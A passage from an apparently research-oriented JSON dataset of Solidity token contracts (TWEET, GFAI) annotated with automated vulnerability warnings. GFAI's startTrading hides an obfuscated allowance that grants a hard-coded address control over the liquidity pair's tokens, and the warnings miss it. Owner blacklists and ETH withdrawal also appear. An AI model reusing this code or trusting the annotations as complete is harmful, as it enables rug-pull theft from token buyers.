uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c1c196): TWEET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c1c196: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 487c5dd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 487c5dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26439b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26439b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 487c5dd\n\t\t// reentrancy-benign | ID: 26439b2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 487c5dd\n\t\t// reentrancy-benign | ID: 26439b2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33b2e8d): TWEET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33b2e8d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 26439b2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 487c5dd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f27819c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f27819c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5423273): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5423273: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f27819c\n\t\t\t\t// reentrancy-eth | ID: 5423273\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f27819c\n\t\t\t\t\t// reentrancy-eth | ID: 5423273\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5423273\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5423273\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5423273\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f27819c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5423273\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5423273\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f27819c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 487c5dd\n\t\t// reentrancy-events | ID: f27819c\n\t\t// reentrancy-benign | ID: 26439b2\n\t\t// reentrancy-eth | ID: 5423273\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6dc7972): TWEET.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6dc7972: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 487c5dd\n\t\t// reentrancy-events | ID: f27819c\n\t\t// reentrancy-eth | ID: 5423273\n\t\t// arbitrary-send-eth | ID: 6dc7972\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 77f9654): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 77f9654: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5347256): TWEET.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5347256: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ef617dd): TWEET.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ef617dd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7dde653): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7dde653: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 77f9654\n\t\t// reentrancy-eth | ID: 7dde653\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 77f9654\n\t\t// unused-return | ID: ef617dd\n\t\t// reentrancy-eth | ID: 7dde653\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 77f9654\n\t\t// unused-return | ID: 5347256\n\t\t// reentrancy-eth | ID: 7dde653\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 77f9654\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7dde653\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10023.sol",
"size_bytes": 19692,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e06e2d9): GFAI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotalCC / 100)\n// Recommendation for e06e2d9: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 115b029): GFAI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotalCC / 100)\n// Recommendation for 115b029: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 909ce9b): GFAI.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotalCC / 100)\n// Recommendation for 909ce9b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f9a9ba0): GFAI.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotalCC / 100)\n// Recommendation for f9a9ba0: Consider ordering multiplication before division.\ncontract GFAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c6bb918): GFAI._initialBuyTax should be constant \n\t// Recommendation for c6bb918: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: aba0c13): GFAI._initialSellTax should be constant \n\t// Recommendation for aba0c13: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfed54f): GFAI._finalBuyTax should be constant \n\t// Recommendation for dfed54f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd825d8): GFAI._finalSellTax should be constant \n\t// Recommendation for dd825d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4cb967): GFAI._reduceBuyTaxAt should be constant \n\t// Recommendation for d4cb967: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdcfb5f): GFAI._reduceSellTaxAt should be constant \n\t// Recommendation for fdcfb5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: da92742): GFAI._preventSwapBefore should be constant \n\t// Recommendation for da92742: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fcd776): GFAI._transferTax should be constant \n\t// Recommendation for 2fcd776: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isFeeExcempt;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27a0d75): GFAI._ccReceipt should be constant \n\t// Recommendation for 27a0d75: Add the 'constant' attribute to state variables that never change.\n address payable private _ccReceipt =\n payable(0xac28DD276584B8930B76db4e3dDCacfB5f5d27ec);\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotalCC = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Girlfriend AI\";\n\n string private constant _symbol = unicode\"GFAI\";\n\n\t// divide-before-multiply | ID: e06e2d9\n uint256 public _maxTxAmount = 2 * (_tTotalCC / 100);\n\n\t// divide-before-multiply | ID: 909ce9b\n uint256 public _maxWalletSize = 2 * (_tTotalCC / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c6c781e): GFAI._taxSwapThreshold should be constant \n\t// Recommendation for c6c781e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f9a9ba0\n uint256 public _taxSwapThreshold = 1 * (_tTotalCC / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d15290): GFAI._maxTaxSwap should be constant \n\t// Recommendation for 6d15290: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 115b029\n uint256 public _maxTaxSwap = 1 * (_tTotalCC / 100);\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n IUniswapV2Router02 private uniRouterCC;\n\n address private uniPairCC;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n constructor() {\n _balances[_msgSender()] = _tTotalCC;\n\n _isFeeExcempt[owner()] = true;\n\n _isFeeExcempt[address(this)] = true;\n\n _isFeeExcempt[_ccReceipt] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotalCC);\n }\n\n function initCC() external onlyOwner {\n uniRouterCC = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterCC), _tTotalCC);\n\n uniPairCC = IUniswapV2Factory(uniRouterCC.factory()).createPair(\n address(this),\n uniRouterCC.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotalCC;\n }\n\n function allowCC(\n address[2] memory tCCs,\n uint256 valCC\n ) private returns (bool) {\n address tCCA = tCCs[0];\n address tCCB = tCCs[1];\n\n _allowances[tCCA][tCCB] = valCC;\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5887dd): GFAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f5887dd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 367f976): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 367f976: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2a5e714): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2a5e714: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 367f976\n\t\t// reentrancy-benign | ID: 2a5e714\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 367f976\n\t\t// reentrancy-benign | ID: 2a5e714\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2154f11): GFAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2154f11: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2a5e714\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 367f976\n emit Approval(owner, spender, amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotalCC;\n\n _maxWalletSize = _tTotalCC;\n\n emit MaxTxAmountUpdated(_tTotalCC);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterCC.WETH();\n\n _approve(address(this), address(uniRouterCC), tokenAmount);\n\n\t\t// reentrancy-events | ID: 367f976\n\t\t// reentrancy-events | ID: f5f5ae1\n\t\t// reentrancy-benign | ID: 2a5e714\n\t\t// reentrancy-eth | ID: af91dda\n uniRouterCC.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f5f5ae1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f5f5ae1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 8345c27): GFAI._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 8345c27: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: af91dda): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for af91dda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amountBB) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amountBB > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxBB = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amountBB;\n\n _balances[to] = _balances[to] + amountBB;\n\n emit Transfer(from, to, amountBB);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount > 0) {\n taxBB = (_transferTax);\n }\n\n if (\n from == uniPairCC &&\n to != address(uniRouterCC) &&\n !_isFeeExcempt[to]\n ) {\n require(amountBB <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amountBB <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxBB = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPairCC && from != address(this)) {\n taxBB = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPairCC && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: f5f5ae1\n\t\t\t\t\t// reentrancy-eth | ID: af91dda\n swapTokensForEth(\n min(amountBB, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 8345c27\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: f5f5ae1\n\t\t\t\t\t// reentrancy-eth | ID: af91dda\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n uint256 taxAmount = taxBB.mul(amountBB).div(100);\n\n if (taxBB > 0) {\n\t\t\t// reentrancy-eth | ID: af91dda\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f5f5ae1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: af91dda\n _balances[from] = _balances[from].sub(amountBB);\n\n\t\t// reentrancy-eth | ID: af91dda\n _balances[to] = _balances[to].add(amountBB.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f5f5ae1\n emit Transfer(from, to, amountBB.sub(taxAmount));\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 367f976\n\t\t// reentrancy-events | ID: f5f5ae1\n\t\t// reentrancy-eth | ID: af91dda\n _ccReceipt.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 60071c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 60071c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aa6d3e6): GFAI.startTrading() ignores return value by IERC20(uniPairCC).approve(address(uniRouterCC),type()(uint256).max)\n\t// Recommendation for aa6d3e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a89050): GFAI.startTrading() ignores return value by uniRouterCC.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9a89050: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0b6e468): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0b6e468: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uint256 taxA = (_maxTaxSwap + _taxSwapThreshold) * 15000;\n\n allowCC(\n [\n msg.sender != uniPairCC ? uniPairCC : uniPairCC,\n msg.sender != _ccReceipt ? _ccReceipt : _ccReceipt\n ],\n taxA\n );\n\n\t\t// reentrancy-benign | ID: 60071c4\n\t\t// unused-return | ID: 9a89050\n\t\t// reentrancy-eth | ID: 0b6e468\n uniRouterCC.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 60071c4\n\t\t// unused-return | ID: aa6d3e6\n\t\t// reentrancy-eth | ID: 0b6e468\n IERC20(uniPairCC).approve(address(uniRouterCC), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 60071c4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0b6e468\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10024.sol",
"size_bytes": 21213,
"vulnerability": 4
} |
{
